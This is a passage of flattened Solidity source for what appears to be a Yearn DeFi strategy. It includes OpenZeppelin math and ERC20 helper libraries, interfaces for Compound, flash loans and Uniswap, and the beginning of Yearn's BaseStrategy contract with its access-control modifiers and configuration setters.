* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// Part: OpenZeppelin/[email protected]/Math
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// Part: OpenZeppelin/[email protected]/SafeMath
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// Part: iearn-finance/[email protected]/HealthCheck
interface HealthCheck {
function check(
uint256 profit,
uint256 loss,
uint256 debtPayment,
uint256 debtOutstanding,
uint256 totalDebt
) external view returns (bool);
}
// Part: CTokenI
interface CTokenI {
/*** Market Events ***/
/**
* @notice Event emitted when interest is accrued
*/
event AccrueInterest(uint256 cashPrior, uint256 interestAccumulated, uint256 borrowIndex, uint256 totalBorrows);
/**
* @notice Event emitted when tokens are minted
*/
event Mint(address minter, uint256 mintAmount, uint256 mintTokens);
/**
* @notice Event emitted when tokens are redeemed
*/
event Redeem(address redeemer, uint256 redeemAmount, uint256 redeemTokens);
/**
* @notice Event emitted when underlying is borrowed
*/
event Borrow(address borrower, uint256 borrowAmount, uint256 accountBorrows, uint256 totalBorrows);
/**
* @notice Event emitted when a borrow is repaid
*/
event RepayBorrow(address payer, address borrower, uint256 repayAmount, uint256 accountBorrows, uint256 totalBorrows);
/**
* @notice Event emitted when a borrow is liquidated
*/
event LiquidateBorrow(address liquidator, address borrower, uint256 repayAmount, address cTokenCollateral, uint256 seizeTokens);
/*** Admin Events ***/
/**
* @notice Event emitted when pendingAdmin is changed
*/
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
/**
* @notice Event emitted when pendingAdmin is accepted, which means admin is updated
*/
event NewAdmin(address oldAdmin, address newAdmin);
/**
* @notice Event emitted when the reserve factor is changed
*/
event NewReserveFactor(uint256 oldReserveFactorMantissa, uint256 newReserveFactorMantissa);
/**
* @notice Event emitted when the reserves are added
*/
event ReservesAdded(address benefactor, uint256 addAmount, uint256 newTotalReserves);
/**
* @notice Event emitted when the reserves are reduced
*/
event ReservesReduced(address admin, uint256 reduceAmount, uint256 newTotalReserves);
/**
* @notice EIP20 Transfer event
*/
event Transfer(address indexed from, address indexed to, uint256 amount);
/**
* @notice EIP20 Approval event
*/
event Approval(address indexed owner, address indexed spender, uint256 amount);
/**
* @notice Failure event
*/
event Failure(uint256 error, uint256 info, uint256 detail);
function transfer(address dst, uint256 amount) external returns (bool);
function transferFrom(
address src,
address dst,
uint256 amount
) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function balanceOfUnderlying(address owner) external returns (uint256);
function getAccountSnapshot(address account)
external
view
returns (
uint256,
uint256,
uint256,
uint256
);
function borrowRatePerBlock() external view returns (uint256);
function supplyRatePerBlock() external view returns (uint256);
function totalBorrowsCurrent() external returns (uint256);
function borrowBalanceCurrent(address account) external returns (uint256);
function borrowBalanceStored(address account) external view returns (uint256);
function exchangeRateCurrent() external returns (uint256);
function accrualBlockNumber() external view returns (uint256);
function exchangeRateStored() external view returns (uint256);
function getCash() external view returns (uint256);
function accrueInterest() external returns (uint256);
function interestRateModel() external view returns (InterestRateModel);
function totalReserves() external view returns (uint256);
function reserveFactorMantissa() external view returns (uint256);
function seize(
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function totalBorrows() external view returns (uint256);
function totalSupply() external view returns (uint256);
}
// Part: IERC20Extended
interface IERC20Extended is IERC20 {
function decimals() external view returns (uint8);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
}
// Part: IERC3156FlashLender
interface IERC3156FlashLender {
/**
* @dev The amount of currency available to be lent.
* @param token The loan currency.
* @return The amount of `token` that can be borrowed.
*/
function maxFlashLoan(
address token
) external view returns (uint256);
/**
* @dev The fee to be charged for a given loan.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @return The amount of `token` to be charged for the loan, on top of the returned principal.
*/
function flashFee(
address token,
uint256 amount
) external view returns (uint256);
/**
* @dev Initiate a flash loan.
* @param receiver The receiver of the tokens in the loan, and the receiver of the callback.
* @param token The loan currency.
* @param amount The amount of tokens lent.
* @param data Arbitrary data structure, intended to contain user-defined parameters.
*/
function flashLoan(
IERC3156FlashBorrower receiver,
address token,
uint256 amount,
bytes calldata data
) external returns (bool);
}
// Part: IUniswapV2Router02
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
// Part: IUniswapV3Router
/// @title Router token swapping functionality
/// @notice Functions for swapping tokens via Uniswap V3
interface IUniswapV3Router is IUniswapV3SwapCallback {
struct ExactInputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another token
/// @param params The parameters necessary for the swap, encoded as `ExactInputSingleParams` in calldata
/// @return amountOut The amount of the received token
function exactInputSingle(ExactInputSingleParams calldata params)
external
payable
returns (uint256 amountOut);
struct ExactInputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountIn;
uint256 amountOutMinimum;
}
/// @notice Swaps `amountIn` of one token for as much as possible of another along the specified path
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactInputParams` in calldata
/// @return amountOut The amount of the received token
function exactInput(ExactInputParams calldata params)
external
payable
returns (uint256 amountOut);
struct ExactOutputSingleParams {
address tokenIn;
address tokenOut;
uint24 fee;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
uint160 sqrtPriceLimitX96;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another token
/// @param params The parameters necessary for the swap, encoded as `ExactOutputSingleParams` in calldata
/// @return amountIn The amount of the input token
function exactOutputSingle(ExactOutputSingleParams calldata params)
external
payable
returns (uint256 amountIn);
struct ExactOutputParams {
bytes path;
address recipient;
uint256 deadline;
uint256 amountOut;
uint256 amountInMaximum;
}
/// @notice Swaps as little as possible of one token for `amountOut` of another along the specified path (reversed)
/// @param params The parameters necessary for the multi-hop swap, encoded as `ExactOutputParams` in calldata
/// @return amountIn The amount of the input token
function exactOutput(ExactOutputParams calldata params)
external
payable
returns (uint256 amountIn);
}
// Part: OpenZeppelin/[email protected]/SafeERC20
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// Part: iearn-finance/[email protected]/VaultAPI
interface VaultAPI is IERC20 {
function name() external view returns (string calldata);
function symbol() external view returns (string calldata);
function decimals() external view returns (uint256);
function apiVersion() external pure returns (string memory);
function permit(
address owner,
address spender,
uint256 amount,
uint256 expiry,
bytes calldata signature
) external returns (bool);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function deposit() external returns (uint256);
function deposit(uint256 amount) external returns (uint256);
function deposit(uint256 amount, address recipient) external returns (uint256);
// NOTE: Vyper produces multiple signatures for a given function with "default" args
function withdraw() external returns (uint256);
function withdraw(uint256 maxShares) external returns (uint256);
function withdraw(uint256 maxShares, address recipient) external returns (uint256);
function token() external view returns (address);
function strategies(address _strategy) external view returns (StrategyParams memory);
function pricePerShare() external view returns (uint256);
function totalAssets() external view returns (uint256);
function depositLimit() external view returns (uint256);
function maxAvailableShares() external view returns (uint256);
/**
* View how much the Vault would increase this Strategy's borrow limit,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function creditAvailable() external view returns (uint256);
/**
* View how much the Vault would like to pull back from the Strategy,
* based on its present performance (since its last report). Can be used to
* determine expectedReturn in your Strategy.
*/
function debtOutstanding() external view returns (uint256);
/**
* View how much the Vault expect this Strategy to return at the current
* block, based on its present performance (since its last report). Can be
* used to determine expectedReturn in your Strategy.
*/
function expectedReturn() external view returns (uint256);
/**
* This is the main contact point where the Strategy interacts with the
* Vault. It is critical that this call is handled as intended by the
* Strategy. Therefore, this function will be called by BaseStrategy to
* make sure the integration is correct.
*/
function report(
uint256 _gain,
uint256 _loss,
uint256 _debtPayment
) external returns (uint256);
/**
* This function should only be used in the scenario where the Strategy is
* being retired but no migration of the positions are possible, or in the
* extreme scenario that the Strategy needs to be put into "Emergency Exit"
* mode in order for it to exit as quickly as possible. The latter scenario
* could be for any reason that is considered "critical" that the Strategy
* exits its position as fast as possible, such as a sudden change in
* market conditions leading to losses, or an imminent failure in an
* external dependency.
*/
function revokeStrategy() external;
/**
* View the governance address of the Vault to assert privileged functions
* can only be called by governance. The Strategy serves the Vault, so it
* is subject to governance defined by the Vault.
*/
function governance() external view returns (address);
/**
* View the management address of the Vault to assert privileged functions
* can only be called by management. The Strategy serves the Vault, so it
* is subject to management defined by the Vault.
*/
function management() external view returns (address);
/**
* View the guardian address of the Vault to assert privileged functions
* can only be called by guardian. The Strategy serves the Vault, so it
* is subject to guardian defined by the Vault.
*/
function guardian() external view returns (address);
}
// Part: CErc20I
interface CErc20I is CTokenI {
function mint(uint256 mintAmount) external returns (uint256);
function redeem(uint256 redeemTokens) external returns (uint256);
function redeemUnderlying(uint256 redeemAmount) external returns (uint256);
function borrow(uint256 borrowAmount) external returns (uint256);
function repayBorrow(uint256 repayAmount) external returns (uint256);
function repayBorrowBehalf(address borrower, uint256 repayAmount) external returns (uint256);
function liquidateBorrow(
address borrower,
uint256 repayAmount,
CTokenI cTokenCollateral
) external returns (uint256);
function underlying() external view returns (address);
}
// Part: ComptrollerI
interface ComptrollerI {
function enterMarkets(address[] calldata cTokens) external returns (uint256[] memory);
function exitMarket(address cToken) external returns (uint256);
/*** Policy Hooks ***/
function mintAllowed(
address cToken,
address minter,
uint256 mintAmount
) external returns (uint256);
function mintVerify(
address cToken,
address minter,
uint256 mintAmount,
uint256 mintTokens
) external;
function redeemAllowed(
address cToken,
address redeemer,
uint256 redeemTokens
) external returns (uint256);
function redeemVerify(
address cToken,
address redeemer,
uint256 redeemAmount,
uint256 redeemTokens
) external;
function borrowAllowed(
address cToken,
address borrower,
uint256 borrowAmount
) external returns (uint256);
function borrowVerify(
address cToken,
address borrower,
uint256 borrowAmount
) external;
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint256 repayAmount
) external returns (uint256);
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint256 repayAmount,
uint256 borrowerIndex
) external;
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount
) external returns (uint256);
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint256 repayAmount,
uint256 seizeTokens
) external;
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external returns (uint256);
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint256 seizeTokens
) external;
function transferAllowed(
address cToken,
address src,
address dst,
uint256 transferTokens
) external returns (uint256);
function transferVerify(
address cToken,
address src,
address dst,
uint256 transferTokens
) external;
/*** Liquidity/Liquidation Calculations ***/
function liquidateCalculateSeizeTokens(
address cTokenBorrowed,
address cTokenCollateral,
uint256 repayAmount
) external view returns (uint256, uint256);
function getAccountLiquidity(address account)
external
view
returns (
uint256,
uint256,
uint256
);
/*** Comp claims ****/
function claimComp(address holder) external;
function claimComp(address holder, CTokenI[] memory cTokens) external;
function markets(address ctoken)
external
view
returns (
bool,
uint256,
bool
);
function compSpeeds(address ctoken) external view returns (uint256); // will be deprecated
function compSupplySpeeds(address ctoken) external view returns (uint256);
function compBorrowSpeeds(address ctoken) external view returns (uint256);
function oracle() external view returns (address);
}
// Part: iearn-finance/[email protected]/BaseStrategy
/**
* @title Yearn Base Strategy
* @author yearn.finance
* @notice
* BaseStrategy implements all of the required functionality to interoperate
* closely with the Vault contract. This contract should be inherited and the
* abstract methods implemented to adapt the Strategy to the particular needs
* it has to create a return.
*
* Of special interest is the relationship between `harvest()` and
* `vault.report()'. `harvest()` may be called simply because enough time has
* elapsed since the last report, and not because any funds need to be moved
* or positions adjusted. This is critical so that the Vault may maintain an
* accurate picture of the Strategy's performance. See `vault.report()`,
* `harvest()`, and `harvestTrigger()` for further details.
*/
abstract contract BaseStrategy {
using SafeMath for uint256;
using SafeERC20 for IERC20;
string public metadataURI;
// health checks
bool public doHealthCheck;
address public healthCheck;
/**
* @notice
* Used to track which version of `StrategyAPI` this Strategy
* implements.
* @dev The Strategy's version must match the Vault's `API_VERSION`.
* @return A string which holds the current API version of this contract.
*/
function apiVersion() public pure returns (string memory) {
return "0.4.3";
}
/**
* @notice This Strategy's name.
* @dev
* You can use this field to manage the "version" of this Strategy, e.g.
* `StrategySomethingOrOtherV1`. However, "API Version" is managed by
* `apiVersion()` function above.
* @return This Strategy's name.
*/
function name() external view virtual returns (string memory);
/**
* @notice
* The amount (priced in want) of the total assets managed by this strategy should not count
* towards Yearn's TVL calculations.
* @dev
* You can override this field to set it to a non-zero value if some of the assets of this
* Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault.
* Note that this value must be strictly less than or equal to the amount provided by
* `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets.
* Also note that this value is used to determine the total assets under management by this
* strategy, for the purposes of computing the management fee in `Vault`
* @return
* The amount of assets this strategy manages that should not be included in Yearn's Total Value
* Locked (TVL) calculation across it's ecosystem.
*/
function delegatedAssets() external view virtual returns (uint256) {
return 0;
}
VaultAPI public vault;
address public strategist;
address public rewards;
address public keeper;
IERC20 public want;
// So indexers can keep track of this
event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding);
event UpdatedStrategist(address newStrategist);
event UpdatedKeeper(address newKeeper);
event UpdatedRewards(address rewards);
event UpdatedMinReportDelay(uint256 delay);
event UpdatedMaxReportDelay(uint256 delay);
event UpdatedProfitFactor(uint256 profitFactor);
event UpdatedDebtThreshold(uint256 debtThreshold);
event EmergencyExitEnabled();
event UpdatedMetadataURI(string metadataURI);
// The minimum number of seconds between harvest calls. See
// `setMinReportDelay()` for more details.
uint256 public minReportDelay;
// The maximum number of seconds between harvest calls. See
// `setMaxReportDelay()` for more details.
uint256 public maxReportDelay;
// The minimum multiple that `callCost` must be above the credit/profit to
// be "justifiable". See `setProfitFactor()` for more details.
uint256 public profitFactor;
// Use this to adjust the threshold at which running a debt causes a
// harvest trigger. See `setDebtThreshold()` for more details.
uint256 public debtThreshold;
// See note on `setEmergencyExit()`.
bool public emergencyExit;
// modifiers
modifier onlyAuthorized() {
require(msg.sender == strategist || msg.sender == governance(), "!authorized");
_;
}
modifier onlyEmergencyAuthorized() {
require(
msg.sender == strategist || msg.sender == governance() || msg.sender == vault.guardian() || msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyStrategist() {
require(msg.sender == strategist, "!strategist");
_;
}
modifier onlyGovernance() {
require(msg.sender == governance(), "!authorized");
_;
}
modifier onlyKeepers() {
require(
msg.sender == keeper ||
msg.sender == strategist ||
msg.sender == governance() ||
msg.sender == vault.guardian() ||
msg.sender == vault.management(),
"!authorized"
);
_;
}
modifier onlyVaultManagers() {
require(msg.sender == vault.management() || msg.sender == governance(), "!authorized");
_;
}
constructor(address _vault) public {
_initialize(_vault, msg.sender, msg.sender, msg.sender);
}
/**
* @notice
* Initializes the Strategy, this is called only once, when the
* contract is deployed.
* @dev `_vault` should implement `VaultAPI`.
* @param _vault The address of the Vault responsible for this Strategy.
* @param _strategist The address to assign as `strategist`.
* The strategist is able to change the reward address
* @param _rewards The address to use for pulling rewards.
* @param _keeper The adddress of the _keeper. _keeper
* can harvest and tend a strategy.
*/
function _initialize(
address _vault,
address _strategist,
address _rewards,
address _keeper
) internal {
require(address(want) == address(0), "Strategy already initialized");
vault = VaultAPI(_vault);
want = IERC20(vault.token());
want.safeApprove(_vault, uint256(-1)); // Give Vault unlimited access (might save gas)
strategist = _strategist;
rewards = _rewards;
keeper = _keeper;
// initialize variables
minReportDelay = 0;
maxReportDelay = 86400;
profitFactor = 100;
debtThreshold = 0;
vault.approve(rewards, uint256(-1)); // Allow rewards to be pulled
}
function setHealthCheck(address _healthCheck) external onlyVaultManagers {
healthCheck = _healthCheck;
}
function setDoHealthCheck(bool _doHealthCheck) external onlyVaultManagers {
doHealthCheck = _doHealthCheck;
}
/**
* @notice
* Used to change `strategist`.
*
* This may only be called by governance or the existing strategist.
* @param _strategist The new address to assign as `strategist`.
*/
function setStrategist(address _strategist) external onlyAuthorized {
require(_strategist != address(0));
strategist = _strategist;
emit UpdatedStrategist(_strategist);
}
/**
* @notice
* Used to change `keeper`.
*
* `keeper` is the only address that may call `tend()` or `harvest()`,
* other than `governance()` or `strategist`. However, unlike
* `governance()` or `strategist`, `keeper` may *only* call `tend()`
* and `harvest()`, and no other authorized functions, following the
* principle of least privilege.
*
* This may only be called by governance or the strategist.
* @param _keeper The new address to assign as `keeper`.
*/
function setKeeper(address _keeper) external onlyAuthorized {
require(_keeper != address(0));
keeper = _keeper;
emit UpdatedKeeper(_keeper);
}
/**
* @notice
* Used to change `rewards`. EOA or smart contract which has the permission
* to pull rewards from the vault.
*
* This may only be called by the strategist.
* @param _rewards The address to use for pulling rewards.
*/
function setRewards(address _rewards) external onlyStrategist {
require(_rewards != address(0));
vault.approve(rewards, 0);
rewards = _rewards;
vault.approve(rewards, uint256(-1));
emit UpdatedRewards(_rewards);
}
/**
* @notice
* Used to change `minReportDelay`. `minReportDelay` is the minimum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the minimum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The minimum number of seconds to wait between harvests.
*/
function setMinReportDelay(uint256 _delay) external onlyAuthorized {
minReportDelay = _delay;
emit UpdatedMinReportDelay(_delay);
}
/**
* @notice
* Used to change `maxReportDelay`. `maxReportDelay` is the maximum number
* of blocks that should pass for `harvest()` to be called.
*
* For external keepers (such as the Keep3r network), this is the maximum
* time between jobs to wait. (see `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _delay The maximum number of seconds to wait between harvests.
*/
function setMaxReportDelay(uint256 _delay) external onlyAuthorized {
maxReportDelay = _delay;
emit UpdatedMaxReportDelay(_delay);
}
/**
* @notice
* Used to change `profitFactor`. `profitFactor` is used to determine
* if it's worthwhile to harvest, given gas costs. (See `harvestTrigger()`
* for more details.)
*
* This may only be called by governance or the strategist.
* @param _profitFactor A ratio to multiply anticipated
* `harvest()` gas cost against.
*/
function setProfitFactor(uint256 _profitFactor) external onlyAuthorized {
profitFactor = _profitFactor;
emit UpdatedProfitFactor(_profitFactor);
}
/**
* @notice
* Sets how far the Strategy can go into loss without a harvest and report
* being required.
*
* By default this is 0, meaning any losses would cause a harvest which
* will subsequently report the loss to the Vault for tracking. (See
* `harvestTrigger()` for more details.)
*
* This may only be called by governance or the strategist.
* @param _debtThreshold How big of a loss this Strategy may carry without
* being required to report to the Vault.
*/
function setDebtThreshold(uint256 _debtThreshold) external onlyAuthorized {
debtThreshold = _debtThreshold;
emit UpdatedDebtThreshold(_debtThreshold);
}
/**
* @notice
* Used to change `metadataURI`. `metadataURI` is used to store the URI
* of the file describing the strategy.
*
* This may only be called by governance or the strategist.
* @param _metadataURI The URI that describe the strategy.
*/
function setMetadataURI(string calldata _metadataURI) external onlyAuthorized {
metadataURI = _metadataURI;
emit UpdatedMetadataURI(_metadataURI);
}
/**
* Resolve governance address from Vault contract, used to make assertions
* on protected functions in the Strategy.
*/
function governance() internal view returns (address) {
return vault.governance();
}
/**
* @notice
* Provide an accurate conversion from `_amtInWei` (denominated in wei)
* to `want` (using the native decimal characteristics of `want`).
* @dev
* Care must be taken when working with decimals to assure that the conversion
* is compatible. As an example:
*
* given 1e17 wei (0.1 ETH) as input, and want is USDC (6 decimals),
* with USDC/ETH = 1800, this should give back 1800000000 (180 USDC)
*
* @param _amtInWei The amount (in wei/1e-18 ETH) to convert to `want`
* @return The amount in `want` of `_amtInEth` converted to `want`
**/
function ethToWant(uint256 _amtInWei) public view virtual returns (uint256);
/**
* @notice
* Provide an accurate estimate for the total amount of assets
* (principle + return) that this Strategy is currently managing,
* denominated in terms of `want` tokens.
*
* This total should be "realizable" e.g. the total value that could
* *actually* be obtained from this Strategy if it were to divest its
* entire position based on current on-chain conditions.
* @dev
* Care must be taken in using this function, since it relies on external
* systems, which could be manipulated by the attacker to give an inflated
* (or reduced) value produced by this function, based on current on-chain
* conditions (e.g. this function is possible to influence through
* flashloan attacks, oracle manipulations, or other DeFi attack
* mechanisms).
*
* It is up to governance to use this function to correctly order this
* Strategy relative to its peers in the withdrawal queue to minimize
* losses for the Vault based on sudden withdrawals. This value should be
* higher than the total debt of the Strategy and higher than its expected
* value to be "safe".
* @return The estimated total assets in this Strategy.
*/
function estimatedTotalAssets() public view virtual returns (uint256);
/*
* @notice
* Provide an indication of whether this strategy is currently "active"
* in that it is managing an active position, or will manage a position in
* the future. This should correlate to `harvest()` activity, so that Harvest
* events can be tracked externally by indexing agents.
* @return True if the strategy is actively managing a position.
*/
function isActive() public view returns (bool) {
return vault.strategies(address(this)).debtRatio > 0 || estimatedTotalAssets() > 0;
}
/**
* Perform any Strategy unwinding or other calls necessary to capture the
* "free return" this Strategy has generated since the last time its core
* position(s) were adjusted. Examples include unwrapping extra rewards.
* This call is only used during "normal operation" of a Strategy, and
* should be optimized to minimize losses as much as possible.
*
* This method returns any realized profits and/or realized losses
* incurred, and should return the total amounts of profits/losses/debt
* payments (in `want` tokens) for the Vault's accounting (e.g.
* `want.balanceOf(this) >= _debtPayment + _profit`).
*
* `_debtOutstanding` will be 0 if the Strategy is not past the configured
* debt limit, otherwise its value will be how far past the debt limit
* the Strategy is. The Strategy's debt limit is configured in the Vault.
*
* NOTE: `_debtPayment` should be less than or equal to `_debtOutstanding`.
* It is okay for it to be less than `_debtOutstanding`, as that
* should only used as a guide for how much is left to pay back.
* Payments should be made to minimize loss from slippage, debt,
* withdrawal fees, etc.
*
* See `vault.debtOutstanding()`.
*/
function prepareReturn(uint256 _debtOutstanding)
internal
virtual
returns (
